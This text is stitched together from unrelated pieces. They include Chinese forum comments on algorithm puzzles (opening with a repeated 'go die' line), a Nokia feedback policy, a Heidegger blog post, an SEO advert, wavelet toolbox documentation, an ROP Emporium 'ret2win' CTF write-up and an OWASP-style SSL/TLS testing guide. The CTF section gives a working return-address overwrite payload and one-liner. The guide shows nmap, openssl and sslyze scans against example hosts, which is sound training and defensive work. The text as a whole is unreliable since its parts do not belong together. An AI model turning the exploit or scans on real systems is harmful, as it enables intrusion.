如果我揍你，你打我，那么你们去死吧！
如果我揍你，你打我，那么你们去死吧！
如果我揍你，你打我，那么你们去死吧！
如果我揍你，你打我，那么你们去死吧！
如果我揍你，你打我，那么你们去死吧！
nice!!!
afsasfasfasf
漂亮。佩服。
P.S. unsigned 应该去掉。换行符是n 不是/n
还可以稍微优化一下，
int main() {
int m,n,ai,aj,bi,bj,ak,bk;
while (scanf("%d%d",&m,&n)!=EOF) {
ai = sqrt(m-1);
bi = sqrt(n-1);
aj = (m-ai*ai-1)>>1;
bj = (n-bi*bi-1)>>1;
ak = ((ai+1)*(ai+1)-m)>>1;
bk = ((bi+1)*(bi+1)-n)>>1;
printf("%dn",abs(ai-bi)+abs(aj-bj)+abs(ak-bk));
}
}
A猴子认识的所有猴子和B猴子认识的所有猴子都能认识，这句话用《爱屋及乌》描述比较容易理解……
这道题这里的解法最坏情况似乎应该是指数的。回溯的时候
O(n) = O(n-1) + O(n-2) + ….
O(n-1) = O(n-2) + O(n-3)+ …
O(n) – O(n-1) = O(n-1)
O(n) = 2O(n-1)
DFS方法的原理还是不太清楚啊
不考虑最后将结果排序的话，快排的时间复杂度是O(N) ，而堆排的是O(N*logK)
其实就是DFS搜索，数据量较小，穷举了所有情况
int L[m+1][n+1];这样定义出错，这个在gcc上可以编译通过 在VS上不行 应该改为new 或者vector
这个方法是错的，不信你试试：
20 5
1 A:9
1 A:9
1 A:9
1 A:6
1 A:4
正确答案应该是19，这个答案是18
正确
抱歉，确实是弄错了，原来的代码是错误的，删掉了
第二个方法很不错啊


Nokia Feedback Policy
Neither Nokia, nor any of its employees, may accept or consider unsolicited ideas, including inputs, comments, ideas or feedbacks of any nature, including, technical nature, original work, inventive work. (“Feedback”). If, despite our request that you not send us any Feedback, you still submit it, then, in all circumstances, the following terms shall apply to your Feedback.
You hereby agree that any such Feedback will be non-confidential and Nokia will have no obligation to review your Feedback. Any Feedback you submit to Nokia will become Nokia exclusive property and, if such Feedback is of physical nature, Nokia shall have no obligation to return any submitted materials to you or to certify their destruction. You agree that Nokia will be free to exploit, redistribute and disclose any Feedback on an unrestricted basis and for any purpose without having to notify or compensate You, unless otherwise specified by any mandatory legal provision. You hereby release Nokia from all liability and obligations that may arise from the receipt, review, use, distribution or disclosure of any portion of any Feedback in connection with any Product or Service.
Reference: feedback-policy/20170620
Updated on 20 Jun 2017.
Versions: 20 Jun 2017 .
These conditions are valid from July 20, 2017. Click here to see the previously applicable conditions.


--- layout: post title: "Heidegger: Anthropology and Psychology" date: 2022-06-26 categories: twentytwentytwo ---
In Martin Heidegger's book Being and Time, he claims that question of the meaning of being has been forgotten by the West. To reawaken this question, he starts by questioning the meaning of being that we ourselves are; that is, human beings. Most of the book is concerned with studying how human beings behave in their day-to-day lives. Walking to work, taking an elevator, riding a bicycle, socializing with others, e.t.c. It's only natural to ask "Is Heidegger even doing Philosophy? Isn't he doing science, namely Anthropology or Psychology?". Heidegger addresses this question in a section titled How the Analytic of Dasein is to be Distinguished from Anthropology, Psychology, and Biology (Dasein is Heidegger's word for human being). Anthropology and Psychology are the study of man. The concept of "man" is handed down from our culture: a culture that's an amalgamation of Ancient Greek and Christian cultures. The Greeks, specifically Aristotle, tell us that man is a Rational animal. The problem is that the kind of being which belongs to an "Animal" is just another object in a world of objects. We are not objects. The kind of being which is "Rational" on the other hand, is very mysterious: "What does it mean to be rational?" is as difficult to tackle as "What does it mean to be a human being?". Christians by contrast think that man is more than a Rational animal. According to Genesis, man is created in the image and likeness of God. To Christians, the kind being of which belongs to man is Transcendence: something that draws man towards God. But Transcendence is an entity. Since the being of entities (human beings) is not itself an entity (transcendence) due to the Ontological difference, following this path will not help us get closer to the meaning of being of man.


It would be very nice to have a list of the most played maps (including also the ones from the DLCs). It would be nice to have "times played" and "time played" for each map.
The best would be to have this information also for your friends (and having a proper list) and for all bf3 players to check out what are the favourite maps.
Thanks for your attention.
BrainFooLong
Administrator
No possible way to collect this information.
Greetz


ROP Emporium ret2win
Tools: IDA Free 7.0, gdb-gef, checksec Prerequistes: Stack frame Download solution: main.py
Overview
“[…] there is a magic method we want to call and we’ll do so by overwriting a saved return address on the stack. […]”
As stated by the author, this first challenge exists for us to discover the joys of overwriting a return address. The tool checksec confirms this as there is no stack canary:
| Protection | Status |
|---|---|
| relro | partial |
| canary | no |
| nx | yes |
| pie | no |
| rpath | no |
| runpath | no |
| fortify_source | no |
| fortified | 0 |
| fortify-able | 6 |
We want to reach function ret2win(), found at address 0x400811.
Function pwnme()
Everything occurs within the function pwnme(). First, it sets the stack frame (32 bytes):
00000000004007B5 push rbp
00000000004007B6 mov rbp, rsp
00000000004007B9 sub rsp, 20h ; 32 bytes
Then, it clears the 32 bytes buffer that will contains input from the user:
00000000004007BD lea rax, [rbp+s]
00000000004007C1 mov edx, 20h ; n
00000000004007C6 mov esi, 0 ; c
00000000004007CB mov rdi, rax ; s
00000000004007CE call _memset
Finally, get user input:
00000000004007F6 mov rdx, cs:stdin@@GLIBC_2_2_5 ; stream
00000000004007FD lea rax, [rbp+s]
0000000000400801 mov esi, 32h ; n = 50 bytes
0000000000400806 mov rdi, rax ; s
0000000000400809 call _fgets
Loading the binary in gdb and putting a breakpoint at 0x400809, we have the following stack frame before the call to _fgets() (RSP and RBP values can vary on your machine):
0x7fffffffe1e0: 0x0000000000000000 <-+ buffer start
0x7fffffffe1e8: 0x0000000000000000 |
0x7fffffffe1f0: 0x0000000000000000 |
0x7fffffffe1f8: 0x0000000000000000 <-+ buffer end
0x7fffffffe200: 0x00007fffffffe210 <-- saved RBP
0x7fffffffe208: 0x00000000004007a4 <-- saved RIP
So, to reach the function ret2win() all we have to do is to provide an input long enough to overwrite the saved return address (saved RIP) with the correct address. Here the function ret2win() is at address 0x400811.
Exploiting the function
Here is the raw payload in Python:
payload = b''
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41' # buffer
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41' # buffer
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41' # buffer
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41' # buffer
payload += b'\x42\x42\x42\x42\x42\x42\x42\x42' # RBP
payload += b'\x11\x08\x40\x00\x00\x00\x00\x00' # RIP
To send it via the command line:
python -c 'print("\x41"*0x20+"\x42"*8+"\x11\x08\x40\x00\x00\x00\x00\x00")' | ./ret2win
Where:
- The original buffer is filled with 32 “A” characters;
- The original RBP is overwritten with 8 “B” characters;
- The original RIP is overwritten with “0000000000400811”.
0x00007fffffffe1e0: 0x4141414141414141 <-+ buffer start
0x00007fffffffe1e8: 0x4141414141414141 |
0x00007fffffffe1f0: 0x4141414141414141 |
0x00007fffffffe1f8: 0x4141414141414141 <-+ buffer end
0x00007fffffffe200: 0x4242424242424242 <-- overwritten RBP
0x00007fffffffe208: 0x0000000000400811 <-- <ret2win+0>
It seems OK, but:
> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Segmentation fault
This input is enough to reach the function we want to get executed. However, we mess with RBP and end up with a segfault.
end of file


The pdf will be made as when you print a webpage to a printer. Some webpages have not been optimized for printing and will not look pretty
html2pdf.it is open source, take a look at the code. Fork it and run your own html2pdt.it server.
HTML and CSS is interpreted by the WebKit rendering engine, also used in Chrome, Safari and Opera.
JavaScript on the page is run as if in a browser.
The technology used is node.js.
If you do not want to install and run your own servers, you are welcome to use html2pdf.it directly:
http://www.html2pdf.it/?url=[url_to_convert_to_pdf]
.
If the traffic ramps up to cost me a lot of money, this may turn into a paid service, or require donations. Running your own server will always be free.
A good use for html2pdf.it is to use it as a service in your own web application, phone app etc. Turn HTML invoices into PDFs etc.
Drop me an email at allan@878.dk


Our SEO(Search Engine Optimization) service, is a long way to say "increase Google Ranks". For people to find a place online, that place must be able to be found by Google. The main goal of this service, is to get a person's business more web traffic, which can lead to an increase of customers.
Let's say a person, is looking for a repair shop or a local burger restaurant.  These are called "KEYWORDS" and allow Google to find the best possible result listed in that area.
Here at OneSource IT Solutions LLC, we take advantage of this, as well as other specific features. Our goal, is to get a person's business listed on the top 20 in the first 3 months. Get in contact with us today to make this happen!


| DiscreteWavelets Toolbox |
Wavelet shrinkage method for vector or matrix denoising
y = WaveletShrinkage(v,h,its,lambda)
y = WaveletShrinkage(v,h,its,lambda) takes as input a (presumably noisy) vector or matrix v, an orthogonal filter h, and a number of iterations its, and a tolerance (or list of tolerances) lambda and uses wavelet shrinkage to return a denoised estimate y of v.
The length or dimensions of v must be divisible by 2^its.
The orthogonal filter h must be of even length.
The number of iterations its must be a positive integer.
WaveletShrinkage first computes its iterations of the wavelet transformation formed using h and then uses the first iteration (highpass portion) to estimate the noise level. The last argument lambda can be a single positive number or a vector (of positive elements) of length its. If lambda is a vector, lambda(k) is used in conjunction with the ShrinkageFunction to denoise highpass portion k. If lambda is a positive number, it is used with ShrinkageFunction to denoise all highpass portions of v. An inverse transformation is perform and the result is returned as y.
For more information on the wavelet shrinkage method, please see Section 9.1 of the book.
Apply WaveletShrinkage to denoise a noisy vector. Use the universal threshold for the tolerance lambda.
x=0:.0001:.9999; %Evaluation points u=Heavisine(x) %Create a vector of Heavisine values plot(x,u); %Plot the original signal title('Heavisine vector'); noise=randn(1,10000); %Create white noise sigma=.2; %Set a noise level v=u+sigma*noise; %Create the noisy vector figure plot(v); title('Noisy Heavisine vector');
Now apply WaveletShrinkage with the Coiflet 6-term filter to denoise v. Apply three iterations of the wavelet transformation.
lambda=UniversalThreshold(v,Coif(1),3); z=WaveletShrinkage(v,Coif(1),3,lambda); plot(x,z); title('Denoised Heavisine vector');
DonohoSure, NoiseEstimate, SureShrink TestSparseness, UniversalThreshold
© 2007-2008 Patrick Van Fleet


How to Test
Testing for sensitive data transmitted in clear-text
Various types of information which must be protected can be also transmitted in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2].
Example 1. Basic Authentication over HTTP
A typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.
$ curl -kis http://example.com/restricted/
HTTP/1.1 401 Authorization Required
Date: Fri, 01 Aug 2013 00:00:00 GMT
WWW-Authenticate: Basic realm="Restricted Area"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 162
Content-Type: text/html
<title>401 Authorization Required</title>

401 Authorization Required

Invalid login credentials!

Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities
The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task.
At the time of writing these criteria are widely recognized as minimum checklist:
- Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).
- Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).
- Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).
- No Export (EXP) level cipher suites, due to can be easly broken [10].
- X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).
- X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash).
- Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14].
A more complete checklist includes:
- Secure Renegotiation should be enabled.
- MD5 should not be used, due to known collision attacks. [35]
- RC4 should not be used, due to crypto-analytical attacks [15].
- Server should be protected from BEAST Attack [16].
- Server should be protected from CRIME attack, TLS compression must be disabled [17].
- Server should support Forward Secrecy [18].
The following standards can be used as reference while assessing SSL servers:
- PCI-DSS v2.0 in point 4.1 requires compliant parties to use "strong cryptography" without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].
- Qualsys SSL Labs Server Rating Guide [14], Deployment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].
- OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].
Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool’s output as an input for manual evaluation using the references.
Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37].
SSL service recognition via nmap
The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are - but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).
In this example we search for SSL services using nmap with “-sV” option, used to identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST
Nmap scan report for www.example.com (<IP_ADDRESS>)
Host is up, received user-set (0.20s latency).
Not shown: 89 filtered ports
Reason: 89 no-responses
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack Pure-FTPd
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)
25/tcp open smtp syn-ack Exim smtpd 4.80
26/tcp open smtp syn-ack Exim smtpd 4.80
80/tcp open http syn-ack
110/tcp open pop3 syn-ack Dovecot pop3d
143/tcp open imap syn-ack Dovecot imapd
443/tcp open ssl/http syn-ack Apache
465/tcp open ssl/smtp syn-ack Exim smtpd 4.80
993/tcp open ssl/imap syn-ack Dovecot imapd
995/tcp open ssl/pop3 syn-ack Dovecot pop3d
Service Info: Hosts: example.com
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds
Checking for Certificate information, Weak Ciphers and SSLv2 via nmap
Nmap has two scripts for checking Certificate information, Weak Ciphers and SSLv2 [31].
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST
Nmap scan report for www.example.com (<IP_ADDRESS>)
Host is up (0.090s latency).
rDNS record for <IP_ADDRESS>: www.example.com
PORT STATE SERVICE
443/tcp open https
| ssl-cert: Subject: commonName=www.example.org
| Issuer: commonName=*******
| Public Key type: rsa
| Public Key bits: 1024
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after: 2020-02-28T23:59:59+00:00
| MD5: *******
|_SHA-1: *******
| ssl-enum-ciphers:
| SSLv3:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
| TLSv1.0:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
|_ least strength: strong
465/tcp open smtps
| ssl-cert: Subject: commonName=*.exapmple.com
| Issuer: commonName=*******
| Public Key type: rsa
| Public Key bits: 2048
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after: 2020-02-28T23:59:59+00:00
| MD5: *******
|_SHA-1: *******
| ssl-enum-ciphers:
| SSLv3:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
| TLSv1.0:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
|_ least strength: strong
993/tcp open imaps
| ssl-cert: Subject: commonName=*.exapmple.com
| Issuer: commonName=*******
| Public Key type: rsa
| Public Key bits: 2048
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after: 2020-02-28T23:59:59+00:00
| MD5: *******
|_SHA-1: *******
| ssl-enum-ciphers:
| SSLv3:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
| TLSv1.0:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
|_ least strength: strong
995/tcp open pop3s
| ssl-cert: Subject: commonName=*.exapmple.com
| Issuer: commonName=*******
| Public Key type: rsa
| Public Key bits: 2048
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after: 2020-02-28T23:59:59+00:00
| MD5: *******
|_SHA-1: *******
| ssl-enum-ciphers:
| SSLv3:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
| TLSv1.0:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
|_ least strength: strong
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds
Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)
Openssl [30] can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client [m] connecting to server with openssl. The tester then writes the fist line of an HTTP request and types “R” in a new line. He then waits for renegotiaion and completion of the HTTP request and checks if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities
$ openssl s_client -connect www2.example.com:443
CONNECTED(00000003)
depth=2 ******
verify error:num=20:unable to get local issuer certificate
verify return:0
---
Certificate chain
0 s:******
i:******
1 s:******
i:******
2 s:******
i:******
---
Server certificate
-----BEGIN CERTIFICATE-----
******
-----END CERTIFICATE-----
subject=******
issuer=******
---
No client certificate CA names sent
---
SSL handshake has read 3558 bytes and written 640 bytes
---
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
SSL-Session:
Protocol : TLSv1
Cipher : DES-CBC3-SHA
Session-ID: ******
Session-ID-ctx:
Master-Key: ******
Key-Arg : None
PSK identity: None
PSK identity hint: None
SRP username: None
Start Time: ******
Timeout : 300 (sec)
Verify return code: 20 (unable to get local issuer certificate)
---
Now the tester can write the first line of an HTTP request and then R in a new line
HEAD / HTTP/1.1
R
Server is renegotiating
RENEGOTIATING
depth=2 C******
verify error:num=20:unable to get local issuer certificate
verify return:0
And the tester can complete our request, checking for response.
HEAD / HTTP/1.1
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 1792
read:errno=0
Even if the HEAD is not permitted, Client-intiated renegotiaion is permitted.
Testing supported Cipher Suites, BEAST and CRIME attacks via TestSSLServer
TestSSLServer [32] is a script which permits the tester to check the cipher suite and also for BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the use of RC4, but this is now discouraged due to a crypto-analytical attack to RC4 [15].
An online tool to check for these attacks is SSL Labs, but can be used only for internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from SSL Labs server [21].
$ java -jar TestSSLServer.jar www3.example.com 443
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2
Deflate compression: no
Supported cipher suites (ORDER IS NOT SIGNIFICANT):
SSLv3
RSA_WITH_RC4_128_SHA
RSA_WITH_3DES_EDE_CBC_SHA
DHE_RSA_WITH_3DES_EDE_CBC_SHA
RSA_WITH_AES_128_CBC_SHA
DHE_RSA_WITH_AES_128_CBC_SHA
RSA_WITH_AES_256_CBC_SHA
DHE_RSA_WITH_AES_256_CBC_SHA
RSA_WITH_CAMELLIA_128_CBC_SHA
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
RSA_WITH_CAMELLIA_256_CBC_SHA
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
TLS_RSA_WITH_SEED_CBC_SHA
TLS_DHE_RSA_WITH_SEED_CBC_SHA
(TLSv1.0: idem)
(TLSv1.1: idem)
TLSv1.2
RSA_WITH_RC4_128_SHA
RSA_WITH_3DES_EDE_CBC_SHA
DHE_RSA_WITH_3DES_EDE_CBC_SHA
RSA_WITH_AES_128_CBC_SHA
DHE_RSA_WITH_AES_128_CBC_SHA
RSA_WITH_AES_256_CBC_SHA
DHE_RSA_WITH_AES_256_CBC_SHA
RSA_WITH_AES_128_CBC_SHA256
RSA_WITH_AES_256_CBC_SHA256
RSA_WITH_CAMELLIA_128_CBC_SHA
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
DHE_RSA_WITH_AES_128_CBC_SHA256
DHE_RSA_WITH_AES_256_CBC_SHA256
RSA_WITH_CAMELLIA_256_CBC_SHA
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
TLS_RSA_WITH_SEED_CBC_SHA
TLS_DHE_RSA_WITH_SEED_CBC_SHA
TLS_RSA_WITH_AES_128_GCM_SHA256
TLS_RSA_WITH_AES_256_GCM_SHA384
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
----------------------
Server certificate(s):
******
----------------------
Minimal encryption strength: strong encryption (96-bit or more)
Achievable encryption strength: strong encryption (96-bit or more)
BEAST status: vulnerable
CRIME status: protected
Testing SSL/TLS vulnerabilities with sslyze
Sslyze [33] is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing.
./sslyze.py --regular example.com:443
REGISTERING AVAILABLE PLUGINS
-----------------------------
PluginHSTS
PluginSessionRenegotiation
PluginCertInfo
PluginSessionResumption
PluginOpenSSLCipherSuites
PluginCompression
CHECKING HOST(S) AVAILABILITY
-----------------------------
example.com:443 => <IP_ADDRESS>:443
SCAN RESULTS FOR EXAMPLE.COM:443 - <IP_ADDRESS>:443
---------------------------------------------------
* Compression :
Compression Support: Disabled
* Session Renegotiation :
Client-initiated Renegotiations: Rejected
Secure Renegotiation: Supported
* Certificate :
Validation w/ Mozilla's CA Store: Certificate is NOT Trusted: unable to get local issuer certificate
Hostname Validation: MISMATCH
SHA1 Fingerprint: ******
Common Name: www.example.com
Issuer: ******
Serial Number: ****
Not Before: Sep 26 00:00:00 2010 GMT
Not After: Sep 26 23:59:59 2020 GMT
Signature Algorithm: sha1WithRSAEncryption
Key Size: 1024 bit
X509v3 Subject Alternative Name: {'othername': ['<unsupported>'], 'DNS': ['www.example.com']}
* OCSP Stapling :
Server did not send back an OCSP response.
* Session Resumption :
With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total attempts).
With TLS Session Tickets: Supported
* SSLV2 Cipher Suites :
Rejected Cipher Suite(s): Hidden
Preferred Cipher Suite: None
Accepted Cipher Suite(s): None
Undefined - An unexpected error happened: None
* SSLV3 Cipher Suites :
Rejected Cipher Suite(s): Hidden
Preferred Cipher Suite:
RC4-SHA 128 bits HTTP 200 OK
Accepted Cipher Suite(s):
CAMELLIA256-SHA 256 bits HTTP 200 OK
RC4-SHA 128 bits HTTP 200 OK
CAMELLIA128-SHA 128 bits HTTP 200 OK
Undefined - An unexpected error happened: None
* TLSV1_1 Cipher Suites :
Rejected Cipher Suite(s): Hidden
Preferred Cipher Suite: None
Accepted Cipher Suite(s): None
Undefined - An unexpected error happened:
ECDH-RSA-AES256-SHA socket.timeout - timed out
ECDH-ECDSA-AES256-SHA socket.timeout - timed out
* TLSV1_2 Cipher Suites :
Rejected Cipher Suite(s): Hidden
Preferred Cipher Suite: None
Accepted Cipher Suite(s): None
Undefined - An unexpected error happened:
ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out
ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out
* TLSV1 Cipher Suites :
Rejected Cipher Suite(s): Hidden
Preferred Cipher Suite:
RC4-SHA 128 bits Timeout on HTTP GET
Accepted Cipher Suite(s):
CAMELLIA256-SHA 256 bits HTTP 200 OK
RC4-SHA 128 bits HTTP 200 OK
CAMELLIA128-SHA 128 bits HTTP 200 OK
Undefined - An unexpected error happened:
ADH-CAMELLIA256-SHA socket.timeout - timed out
SCAN COMPLETED IN 9.68 S
------------------------
Testing SSL/TLS with testssl.sh
Testssl.sh [38] is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well.
It's a very easy to use tool. Here's some sample output (without colors):
user@myhost: % testssl.sh owasp.org
########################################################
testssl.sh v2.0rc3 (https://testssl.sh)
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)
This program is free software. Redistribution +
modification under GPLv2 is permitted.
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!
Note you can only check the server against what is
available (ciphers/protocols) locally on your machine
########################################################
Using "OpenSSL 1.0.2-beta1 24 Feb 2014" on
"myhost:/<mypath>/bin/openssl64"
Testing now (2014-04-17 15:06) ---> owasp.org:443 <---
("owasp.org" resolves to "<IP_ADDRESS> / 2001:4801:7821:77:cd2c:d9de:ff10:170e")
--> Testing Protocols
SSLv2 NOT offered (ok)
SSLv3 offered
TLSv1 offered (ok)
TLSv1.1 offered (ok)
TLSv1.2 offered (ok)
SPDY/NPN not offered
--> Testing standard cipher lists
Null Cipher NOT offered (ok)
Anonymous NULL Cipher NOT offered (ok)
Anonymous DH Cipher NOT offered (ok)
40 Bit encryption NOT offered (ok)
56 Bit encryption NOT offered (ok)
Export Cipher (general) NOT offered (ok)
Low (<=64 Bit) NOT offered (ok)
DES Cipher NOT offered (ok)
Triple DES Cipher offered
Medium grade encryption offered
High grade encryption offered (ok)
--> Testing server defaults (Server Hello)
Negotiated protocol TLSv1.2
Negotiated cipher AES128-GCM-SHA256
Server key size 2048 bit
TLS server extensions: server name, renegotiation info, session ticket, heartbeat
Session Tickets RFC 5077 300 seconds
--> Testing specific vulnerabilities
Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok)
Renegotiation (CVE 2009-3555) NOT vulnerable (ok)
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok)
--> Checking RC4 Ciphers
RC4 seems generally available. Now testing specific ciphers...
Hexcode Cipher Name KeyExch. Encryption Bits
--------------------------------------------------------------------
[0x05] RC4-SHA RSA RC4 128
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a
--> Testing HTTP Header response
HSTS no
Server Apache
Application (None)
--> Testing (Perfect) Forward Secrecy (P)FS)
no PFS available
Done now (2014-04-17 15:07) ---> owasp.org:443 <---
user@myhost: %
STARTTLS would be tested via testssl.sh -t smtp.gmail.com:587 smtp, each ciphers with testssl -e <target>, each ciphers per protocol with testssl -E <target>. To just display what local ciphers that are installed for openssl see testssl -V. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of testssl.sh.
The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure /bin/bash with /dev/tcp sockets -- no piggyback perl/python/you name it.
Additionally it provides a prototype (via "testssl.sh -V") of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file mapping-rfc.txt in same directory.
Example 8. Testing O-Saft - OWASP SSL advanced forensic tool
This tool [39] is most comprehensive SSL tests. It supports the following checks:
- BEAST
- BREACH
- CRIME
- FREAK
- HeartBleed
- TIME
- PFS: Forward Secrecy support
- HSTS: Check for implementation of HSTS header
- SNI support
- Certificate: Host-name mismatch
- Certificate expiration
- Certificate extension
- Weak/Insecure Hashing Algorithm (MD2, MD4, MD5, SHA1)
- SSLv2, SSLv3 support
- Weak ciphers check (Low, Anon, Null, Export)
- RC4 support
- Checks any cipher independent of SSL libriray
- supports proxy connections
- supported protokols: HTTPS, SMTP, POP3, IMAP, LDAP, RDP, XMPP, IRC
Testing SSL certificate validity – client and server
Firstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer.
By clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates.
These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the –sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services.
Example 1. Testing for certificate validity (manually)
